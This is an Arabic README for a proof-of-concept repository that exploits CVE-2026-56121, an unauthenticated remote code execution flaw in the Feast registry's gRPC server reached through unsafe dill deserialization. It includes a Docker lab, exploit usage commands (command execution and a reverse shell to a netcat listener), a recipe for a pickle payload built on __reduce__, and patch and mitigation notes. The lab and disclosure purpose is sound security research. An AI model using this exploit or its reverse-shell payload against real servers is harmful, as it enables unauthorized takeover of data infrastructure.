
إثبات مفهوم لاستغلال CVE-2026-56121، وهو ثغرة تنفيذ تعليمات برمجية عن بُعد (RCE) غير مصادق عليها في خادم gRPC الخاص بسجل Feast عبر إلغاء تسلسل غير آمن باستخدام dill. يتضمن مختبرًا معرضًا للخطر مبنيًا على Docker للاختبار والتحقق.
تنفيذ التعليمات البرمجية عن بُعد غير المصادق عليه في Feast
(< 0.63.0) عبر إلغاء تسلسل غير آمن لـ dill.loads في خادم gRPC الخاص بالسجل (registry).
يحتوي هذا المستودع على إثبات مفهوم (PoC) مستقل للاستغلال ومختبر ضعيف معزول (Dockerized) للتحقق منه.
| CVE | CVE-2026-56121 |
| المنتج | Feast (مخزن الميزات) — خادم gRPC الخاص بالسجل |
| المتأثر | feast < 0.63.0 |
| تم الإصلاح في | 0.63.0 (commit 835cda8) |
| التصنيف | CWE-502 — إلغاء تسلسل البيانات غير الموثوقة |
| التأثير | تنفيذ التعليمات البرمجية عن بُعد غير المصادق عليه (التكوين الافتراضي هو auth: no_auth) |
| المنفذ الافتراضي | 6570/tcp (خادم سجل gRPC) |
⚠️ لأغراض الاختبار الأمني المصرح به والتعليم فقط. قم بتشغيل هذا فقط ضد مختبر Docker المرفق أو الأنظمة التي تملكها / مسموح لك صراحةً باختبارها. الاستخدام غير المصرح به ضد أنظمة الطرف الثالث غير قانوني.
معالج gRPC الخاص بسجل Feast RegistryServer.ApplyFeatureView يقوم بإلغاء تسلسل
مواصفات عرض الميزات الواردة عن طريق استدعاء OnDemandFeatureView.from_proto(...) قبل
تشغيل أي فحص تفويض. بالنسبة لعرض ميزات عند الطلب (On-Demand Feature View) في وضع pandas مع
جسم UDF غير فارغ، يصل هذا المسار إلى PandasTransformation.from_proto، الذي يقوم بتشغيل
dill.loads(user_defined_function.body) على بايتات يتحكم فيها المهاجم. نظرًا لأن dill
ينفذ أكواد pickle opcodes، فإن كائنًا يحتوي على __reduce__ مُصمم بعناية يقوم بتشغيل Python
تعسفي في عملية الخادم. التكوين المُرسل هو auth: no_auth ولا يحتوي خادم gRPC على
معترض مصادقة، لذا يمكن لأي شخص يمكنه الوصول إلى المنفذ 6570 الحصول على تنفيذ التعليمات البرمجية.
راجع ANALYSIS.md للحصول على شرح كامل لمسار الكود وفرق التصحيح (patch diff).
.
├── exploit/
│ ├── exploit.py # عميل PoC كامل: --check / --cmd / --reverse-shell
│ ├── poc.py # ملف PoC واحد مبسط، نفس البدائية في ~90 سطرًا
│ ├── build_protos.sh # (إعادة) توليد stubs البروتوبوف من [email protected]
│ └── protos/ # stubs *_pb2 المولدة الملتزمة (تشغيل PoC بدون protoc)
├── lab/
│ ├── Dockerfile # feast==0.62.0 افتراضيًا؛ FEAST_VERSION يحدد الإصدار
│ ├── docker-compose.yml
│ ├── entrypoint.sh # feast serve_registry --port 6570
│ └── feature_repo/ # مشروع Feast أدنى حد (auth: no_auth)
├── requirements.txt # تبعيات الاستغلال: grpcio, protobuf
├── ANALYSIS.md
└── LICENSE
cd lab
docker compose up --build -d
# خادم سجل gRPC يستمع الآن على localhost:6570
docker compose logs -f # انتظر "Grpc server started"
python3 -m venv .venv && source .venv/bin/activate
pip install -r requirements.txt
فحص آمن (غير مدمر) — يثبت أن الخادم يقوم بإلغاء تسلسل بيانات المهاجم عن طريق
كتابة ملف علامة في /tmp وإرجاع معلومات المضيف، دون تشغيل أمر shell:
python exploit/exploit.py --target 127.0.0.1:6570 --check
تشغيل أمر ورؤية مخرجاته (الوضع الافتراضي):
python exploit/exploit.py --target 127.0.0.1:6570 --cmd "id; hostname; cat /etc/os-release | head -1"
قشرة عكسية تفاعلية — ابدأ المستمع أولاً، ثم سلّم الحمولة:
# الطرفية A
nc -lvnp 4444
# الطرفية B (استخدم عنوانًا يمكن للحاوية الوصول إليه مرة أخرى)
python exploit/exploit.py --target 127.0.0.1:6570 --reverse-shell 172.17.0.1:4444
تقوم أوضاع --cmd و --check بتشغيل مستمع TCP قصير العمر داخل الاستغلال نفسه
وتطبع ما يرسله الهدف مرة أخرى — لا حاجة لأدوات خارجية في صورة الهدف.
يوجد مكافئ مبسط في exploit/poc.py، إذا كنت تريد البدائية كاملة في ملف واحد
قابل للقراءة:
python exploit/poc.py 127.0.0.1:6570 "id; uname -a"
ملاحظة حول الاستدعاء العكسي. تعتمد
--checkو--cmdوpoc.pyعلى اتصال الهدف مرة أخرى بمستمع على جهازك. التشغيل من المضيف يعمل مباشرة. إذا قمت بتشغيل الاستغلال من داخل حاوية، ضعه على شبكة المختبر (docker run --network lab_default ...)، وإلا فسيتم تنفيذ الحمولة لكن الرد لن يصل أبدًا وسيُبلغ الأداة عن "no callback".
stubs الموجودة في exploit/protos/ ملتزمة، لذا لا تحتاج إلى protoc. إذا قمت
بإعادة توليدها، استخدم البرنامج النصي — فهو يثبّت grpcio-tools عن قصد:
./exploit/build_protos.sh # يعمل في حاوية python:3.11 مثبتة
يقوم protoc بوضع علامة إصدار gencode في كل _pb2.py، ويرفض protobuf تحميل
stub يكون gencode الخاص به أحدث من وقت التشغيل المثبت. يحافظ التثبيت على تحميل
stubs على protobuf >= 5.29, < 8 (تم التحقق منه ضد 5.29.6 و 6.33.6 و 7.36.0).
أعد بناء المختبر ضد الإصدار المُصلح وأعد تشغيل الاستغلال:
cd lab
docker compose down
FEAST_VERSION=0.63.0 docker compose up --build -d
python ../exploit/exploit.py --target 127.0.0.1:6570 --check
المتوقع على 0.63.0: [-] No callback received. ولا يوجد ملف علامة على الهدف —
يمرر المعالج skip_udf=True، لذا لا يتم أبدًا إلغاء تسلسل جسم UDF قبل
فحص التفويض. ارجع إلى المختبر الضعيف باستخدام docker compose down && docker compose up --build -d.
cd lab && docker compose down -v
ApplyFeatureViewRequest الذي يحتوي مواصفات on_demand_feature_view على
mode = "pandas" و feature_transformation.user_defined_function
(UserDefinedFunctionV2) مع:
body_text = غير فارغ (مطلوب للوصول إلى فرع إلغاء تسلسل pandas)،body = pickle لكائن يستدعي __reduce__ الخاص به exec(<python>).feast.registry.RegistryServer/ApplyFeatureView.dill.loads(body) أثناء from_proto — قبل فحص التفويض —
لتنفيذ الحمولة. قد يفشل RPC نفسه بعد ذلك؛ لكن الكود قد تم تنفيذه بالفعل.يقوم الاستغلال بصياغة الأداة باستخدام وحدة pickle القياسية (يقوم dill.loads الخاص بالخادم
بفك تشفير أكواد pickle العادية بسهولة)، لذا يحتاج جانب المهاجم فقط إلى grpcio + protobuf.
>= 0.63.0. يمرر الإصلاح علامة skip_udf=True عبر
*.from_proto، بحيث يتحقق خادم السجل من أذونات بيانات المواصفات دون
إلغاء تسلسل جسم UDF.6570) للشبكات غير الموثوقة.auth: kubernetes / auth: oidc) بدلاً من no_auth الافتراضي.